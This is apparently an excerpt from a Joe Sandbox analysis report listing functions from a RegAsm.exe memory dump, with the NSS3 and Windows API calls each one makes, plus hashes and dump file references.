strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6BFC0BDE), ref: 6BFC0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6BFC0BDE), ref: 6BFC0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6BFC0BDE), ref: 6BFC0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6BFC0BDE), ref: 6BFC0E32

Strings

%s incr => %d (find lib), xrefs: 6BFC0E2D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 6a11e775e36f043c486f485746686221b2097f60867b6b1b3b7940c9f5f5b5e5
Instruction ID: b30ec53f1e23228e838f9b0b5dc8b9b4651678cb7c41e9da730698e827b05c87
Opcode Fuzzy Hash: 6a11e775e36f043c486f485746686221b2097f60867b6b1b3b7940c9f5f5b5e5
Instruction Fuzzy Hash: CB0124B3740214AFE7209F648C49E2773ECDF45A08B04486DE909D3652E7A2FC59C6E2

Function 6BF52940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6BF51360,00000000), ref: 6BF52A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6BF51360,00000000), ref: 6BF52A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6BF52A7C

Part of subcall function 6BF52D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,4B58E61A,?,?,00000000,?,6BF5296E), ref: 6BF52DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BF52AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6BF51360,00000000), ref: 6BF52B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6BF52B90

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 5c32ed6fb85e96dd6e61d03aa9d2b9e6ea21666fb856bb4e465883b544226e88
Instruction ID: e0423769b85242de721a17710377c9744d8a2738f9e047595e3b2752e21c81e2
Opcode Fuzzy Hash: 5c32ed6fb85e96dd6e61d03aa9d2b9e6ea21666fb856bb4e465883b544226e88
Instruction Fuzzy Hash: 76C1D573F002069BEB04CF69C8907AAF7B5BF98314F148269D9159B361D73AE851CBD1

Function 6BFECB60 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,?,?,?,?,00000000,?,00000000,?,6BFF57DF,00000000,?,00000002,6BFF5840,?), ref: 6BFECBB5
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,6BFF57DF,00000000,?,00000002,6BFF5840,?), ref: 6BFECC4A
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,?,00000000,?,00000000,?,6BFF57DF,00000000,?,00000002,6BFF5840), ref: 6BFECC5E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BFECC98
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BFECD50

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: ce851b305a64c655c4d3ee29dd1cd010a6d3f1050d53a676ad6c3dbd83666946
Instruction ID: f05cb6c64fe707c1af62f4023873033af3c4adc2dff8bfb10e05c629c8d6d8b6
Opcode Fuzzy Hash: ce851b305a64c655c4d3ee29dd1cd010a6d3f1050d53a676ad6c3dbd83666946
Instruction Fuzzy Hash: 9D91A177E00219ABDB10DFA8EC81AAEBBB5BF49314F150064FC15A7321D735E952CBA1

Function 6BF6A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e45ceea6c61be550c01eb1b36becab20806b2ebb5019525d866947864aec795
Instruction ID: 01647e8aeb21f199135d107bbed97d61e6cbb19e218076900b97d00f5ed31b90
Opcode Fuzzy Hash: 4e45ceea6c61be550c01eb1b36becab20806b2ebb5019525d866947864aec795
Instruction Fuzzy Hash: 6D91D032B00210DFEB189F74D989BAA77F5BF46345F14006DE90A87261EB3DE981DB91

Function 6BFD8B50 Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3 ref: 6BFD8B5C
CERT_DecodeAVAValue.NSS3 ref: 6BFD8B67

Part of subcall function 6BFD8E00: PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BFD8EED
Part of subcall function 6BFD8E00: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C1018D0,?), ref: 6BFD8F03
Part of subcall function 6BFD8E00: PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6BFD8F19
Part of subcall function 6BFD8E00: PL_FreeArenaPool.NSS3(?), ref: 6BFD8F2B

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6BFD8D5C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BFD8D6B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BFD8D76

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Item_Util$Decode$ArenaPoolValueZfree$CallCompareFreeInitOnceQuick
String ID:
API String ID: 185717074-0
Opcode ID: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction ID: 61ae16067b7d46b36e995180558ee1f46db4d7ab83ea3ab3c637c5b6c9e3156d
Opcode Fuzzy Hash: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction Fuzzy Hash: 0B711673E416298FDB148A59C8507EEB7F2FB49321F5D5269D824A73E1D3399C01C7A0

Function 6BFEC9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6BFECA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6BFECA35
PR_Unlock.NSS3(00000000), ref: 6BFECA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6BFECA77
PR_Unlock.NSS3(00000000), ref: 6BFECAFC

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 828258711690eca47bb9561cef994aeea32bda0e7d3a9162b9626fbc589d1700
Instruction ID: e1cb6a35d61e94af12d7fcb54e54c30c6928cd1bf4880b318dd1cd0a79f4113f
Opcode Fuzzy Hash: 828258711690eca47bb9561cef994aeea32bda0e7d3a9162b9626fbc589d1700
Instruction Fuzzy Hash: B641D077E00206ABEB00DF24D855ABBBBB5AF45754F044064FD1897321EB34E912CBE1

Function 6C044A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C044A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6C044B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6C044B12
PR_SetError.NSS3(?,00000000), ref: 6C044B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6C044B35

Part of subcall function 6C0404A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6C0404B9
Part of subcall function 6C0404A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6C04050A
Part of subcall function 6C0404A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6C040545

Part of subcall function 6C0452E0: PORT_NewArena_Util.NSS3(00000400,6C044A57,?,00000000), ref: 6C0452F7
Part of subcall function 6C0452E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C10301C,6C044A57,?,6C044A57,?,00000000), ref: 6C045312
Part of subcall function 6C0452E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6C044A57,?,00000000), ref: 6C045327
Part of subcall function 6C0452E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6C044A57,?,00000000), ref: 6C045334

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 24e8304efbac36fa52fd5ea83c87e7fbb3ba48e30914800d29e461c57ed1c7ec
Instruction ID: f17711e31b14b1b9c25a784ffeb71b466267cf7d34458c7cc64f92ecb11ca9d8
Opcode Fuzzy Hash: 24e8304efbac36fa52fd5ea83c87e7fbb3ba48e30914800d29e461c57ed1c7ec
Instruction Fuzzy Hash: 0D31F5B1E01211FBEB109FB5AC45B6B36E8AB4131DF198174EC04ABA42E735D814CAE5

Function 6C0EAA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C0EAA86

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

Part of subcall function 6C0EA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C0EA662), ref: 6C0EA69E
Part of subcall function 6C0EA690: PR_NewCondVar.NSS3(?), ref: 6C0EA6B4

PR_IntervalNow.NSS3 ref: 6C0EAAEC
EnterCriticalSection.KERNEL32(?), ref: 6C0EAB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C0EAB67
_PR_MD_UNLOCK.NSS3(?), ref: 6C0EAB8B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 7d1814965f8b7c9181744d54d61a44b59ae8345167a88206c7ff1c7c7ccf5a07
Instruction ID: bcbaf7292be5e58e1372c35bc729d9601c3a561e4aa64e8c578c7ddbccc91385
Opcode Fuzzy Hash: 7d1814965f8b7c9181744d54d61a44b59ae8345167a88206c7ff1c7c7ccf5a07
Instruction Fuzzy Hash: 3C417EB5A403158FC750DF29D88075ABBF6BF8D318729456AE819CBB02E771E844CB90

Function 6BFCEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BFCEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6BFCEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6BFCEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BFCEEEB
free.MOZGLUE(?), ref: 6BFCEEF6

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: dd54d9b71194a7f9902ccfd520e34930ed7d1c367c1bdcdd15c7dfced699f73d
Instruction ID: 0fa277fd58501cb0af6857b3d105ba0345e9fbb627ae004cd8137f7e86a330c8
Opcode Fuzzy Hash: dd54d9b71194a7f9902ccfd520e34930ed7d1c367c1bdcdd15c7dfced699f73d
Instruction Fuzzy Hash: 54310B73A006029BE7209F2CCC467677BF4FB45744F010528E95E87661D739F494CB92

Function 6BFD6AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6BFDB21D,00000000,00000000,6BFDB219,?,6BFD6BFB,00000000,?,00000000,00000000,?,?,?,6BFDB21D), ref: 6BFD6B01

Part of subcall function 6C02FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C02FE08
Part of subcall function 6C02FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C02FE1D
Part of subcall function 6C02FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C02FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6BFDB219,?,6BFD6BFB,00000000,?,00000000,00000000,?,?,?,6BFDB21D), ref: 6BFD6B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6BFD6B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6BFD6B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6BFD6BB6

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: b088b4763cc68c43bb59435abb56c7763cc96e0158d27861563502b6253a9624
Instruction ID: de8aeec10bea342d73d17b4a12126bf75f35fb5ed0002093560b53b977a27f48
Opcode Fuzzy Hash: b088b4763cc68c43bb59435abb56c7763cc96e0158d27861563502b6253a9624
Instruction Fuzzy Hash: 192103339003146FEB108FA4CD40F967BE8DB45794F0846AAFC099B221F735F9508BA0

Function 6C0468A0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C0468B4

Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990AB
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990C9
Part of subcall function 6C099090: EnterCriticalSection.KERNEL32 ref: 6C0990E5
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C099116
Part of subcall function 6C099090: LeaveCriticalSection.KERNEL32 ref: 6C09913F

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

PR_MillisecondsToInterval.NSS3(?), ref: 6C0468E6
PR_MillisecondsToInterval.NSS3(?), ref: 6C046938
PR_MillisecondsToInterval.NSS3(?), ref: 6C046986
PR_ExitMonitor.NSS3(?), ref: 6C0469BA

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: IntervalMillisecondsValue$CriticalEnterMonitorSection$ExitLeaveModulePageSize
String ID:
API String ID: 1802314673-0
Opcode ID: 9cebaae1535d3537cebd2b3fb16c0cc2eeeb9c4a7076bd924ac438f2bd89a534
Instruction ID: fd948d65370122f57376be49898f6e425403ffdc7890fc1cba7ee70cbc7c25c6
Opcode Fuzzy Hash: 9cebaae1535d3537cebd2b3fb16c0cc2eeeb9c4a7076bd924ac438f2bd89a534
Instruction Fuzzy Hash: 5F317E71600A02EFDB255B74E808797BBF4BB4630EF044239D81D52651E7B978A8DE83

Function 6BFDAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6BFD3FFF,00000000,?,?,?,?,?,6BFD1A1C,00000000,00000000), ref: 6BFDADA7

Part of subcall function 6C0314C0: TlsGetValue.KERNEL32 ref: 6C0314E0
Part of subcall function 6C0314C0: EnterCriticalSection.KERNEL32 ref: 6C0314F5
Part of subcall function 6C0314C0: PR_Unlock.NSS3 ref: 6C03150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6BFD3FFF,00000000,?,?,?,?,?,6BFD1A1C,00000000,00000000), ref: 6BFDADB4

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6BFD3FFF,?,?,?,?,6BFD3FFF,00000000,?,?,?,?,?,6BFD1A1C,00000000), ref: 6BFDADD5

Part of subcall function 6C02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB85
Part of subcall function 6C02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C0F94B0,?,?,?,?,?,?,?,?,6BFD3FFF,00000000,?), ref: 6BFDADEC

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFD3FFF), ref: 6BFDAE3C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: b601d6141e4b05da4928a469969bda77416a417c27864c77e1e5ccb11b03b48e
Instruction ID: c319101b367cd42214ab4a13044b615792a66541826fccd1157caeced55b5bae
Opcode Fuzzy Hash: b601d6141e4b05da4928a469969bda77416a417c27864c77e1e5ccb11b03b48e
Instruction Fuzzy Hash: 16115233E002156BE7109B659C40BBF73E89F95648F08422CED1A87241FB28F958C6EA

Function 6BFF8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C012E62,?,?,?,?,?,?,?,00000000,?,?,?,6BFE4F1C), ref: 6BFF8EA2

Part of subcall function 6C01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C01F854
Part of subcall function 6C01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C01F868
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C01F882
Part of subcall function 6C01F820: free.MOZGLUE(04C483FF,?,?), ref: 6C01F889
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C01F8A4
Part of subcall function 6C01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C01F8AB
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C01F8C9
Part of subcall function 6C01F820: free.MOZGLUE(280F10EC,?,?), ref: 6C01F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C012E62,?,?,?,?,?,?,?,00000000,?,?,?,6BFE4F1C), ref: 6BFF8EC3
TlsGetValue.KERNEL32(?,?,?,6C012E62,?,?,?,?,?,?,?,00000000,?,?,?,6BFE4F1C), ref: 6BFF8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C012E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6BFF8EF1
PR_Unlock.NSS3 ref: 6BFF8F20

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
